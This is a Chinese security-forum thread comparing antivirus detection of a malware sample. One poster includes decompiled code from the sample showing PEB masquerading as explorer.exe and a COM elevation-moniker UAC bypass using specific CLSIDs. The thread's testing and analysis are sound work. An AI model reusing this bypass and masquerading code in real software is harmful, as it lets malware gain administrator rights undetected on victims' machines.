样本

wwwab

Loyisa 发表于 2024-9-22 12:38
Comodo 扫描miss 同没跑出恶意行为

楼上测卡巴的几位好像跑出来了？

Loyisa

wwwab 发表于 2024-9-22 13:09
楼上测卡巴的几位好像跑出来了？

对，但是我这里没跑出来外联啥的

莒县小哥

DisaPDB

1. int sub_10001210()
   
2. {
   
3.   {
   
4.     lpBaseAddress = 0;
   
5.     memset(v28, 0, 0x38u);
   
6.     v20 = 0;
   
7.     v21 = 0;
   
8.     LibraryA = LoadLibraryA("ntdll.dll");
   
9.     NtQueryInformationProcess = (NTSTATUS (__stdcall *)(HANDLE, PROCESSINFOCLASS, PVOID, ULONG, PULONG))GetProcAddress(LibraryA, "NtQueryInformationProcess");
   
10.     if ( NtQueryInformationProcess && NtQueryInformationProcess(v1, ProcessBasicInformation, &v5, 24, 0) >= 0 )
    
11.     {
    
12.       ReadProcessMemory(v1, lpBaseAddress, &Buffer, 0x20u, 0);
    
13.       ReadProcessMemory(v1, *(LPCVOID *)((char *)&v15 + 3), &v22, 0x48u, 0);
    
14.       v20 = 48;
    
15.       WriteProcessMemory(v1, v28[13], L"C:\\windows\\explorer.exe", 0x30u, 0);
    
16.       WriteProcessMemory(v1, &v28[12], &v20, 2u, 0);
    
17.       v21 = 48;
    
18.       WriteProcessMemory(v1, v28[11], L"C:\\windows\\explorer.exe", 0x30u, 0);
    
19.       WriteProcessMemory(v1, &v28[10], &v21, 2u, 0);
    
20.       CloseHandle(v1);
    
21.       return 1;
    
22.     }
    
23.     else
    
24.     {
    
25.       return 0;
    
26.     }
    
27.   }
    
28.   return result;
    
29. }

复制代码

从ntdll中取出NtQueryInformationProcess并调用，向explorer.exe写入内存

1. int __thiscall sub_10001060(void *this)
   
2. {
   
3. 
   
4.   memset(&pclsid, 0, sizeof(pclsid));
   
5.   memset(&iid, 0, sizeof(iid));
   
6.   ppv = 0;
   
7.   CLSIDFromString(L"{3E5FC7F9-9A51-4367-9063-A120244FBEC7}", &pclsid);
   
8.   IIDFromString(L"{6EDD6D74-C007-4E75-B76A-E5740995E24C}", &iid);
   
9.   memset(sz, 0, sizeof(sz));
   
10.   memset(pszName, 0, 520);
    
11.   CoInitialize(0);
    
12.   StringFromGUID2(&pclsid, sz, 260);
    
13.   if ( sub_10001000(L"Elevation:Administrator!new:%s", sz) < 0 )
    
14.     goto LABEL_4;
    
15.   memset(&pBindOptions.grfFlags, 0, 12);
    
16.   v7 = 0;
    
17.   v9 = 0;
    
18.   v10 = 0;
    
19.   pBindOptions.cbStruct = 36;
    
20.   v11 = 0;
    
21.   v8 = 4;
    
22.   if ( CoGetObject(pszName, &pBindOptions, &iid, &ppv) < 0
    
23.     || (v2 = (*(int (__stdcall **)(void *, void *, const wchar_t *, _DWORD, _DWORD, _DWORD))(*(_DWORD *)ppv + 36))(
    
24.                ppv,
    
25.                this,
    
26.                L"-register abc",
    
27.                0,
    
28.                0,
    
29.                0),
    
30.         v3 = 1,
    
31.         v2 < 0) )
    
32.   {
    
33. LABEL_4:
    
34.     v3 = 0;
    
35.   }
    
36.   if ( ppv )
    
37.     (*(void (__stdcall **)(void *))(*(_DWORD *)ppv + 8))(ppv);
    
38.   return v3;
    
39. }

复制代码

白利用RuntimeSvc.exe ，这个COM接口估计就是瑞星报UACBypass的原因

玛姆库特

（EIS+智量）实机双击svcghost.exe，miss，进程没退等了几分钟手动关闭，是在检测什么呢

星神不灭

ELGD报安全，好像只要ELGD报安全之后eset就完全不管了。。。

aikafans

火绒

QQUpdateMgr\FLVLib.dll, 病毒名：Trojan/Generic!B8E9CE5760F44D56, 病毒ID：b8e9ce5760f44d56, 处理结果：已处理，删除文件

biue

腾讯电脑管家 1X

btbtg

gove

kaba666 发表于 2024-9-22 10:56
整个过程在不停的调用Consoie Windows Host, 貌似在检测电脑是否安装有QQ等或其它，再次测，这玩意还有点顽 ...

你测试比较认真哈，让我认识到真实的卡巴，卡巴就是这样强大是很强大，但总不那么尽如人意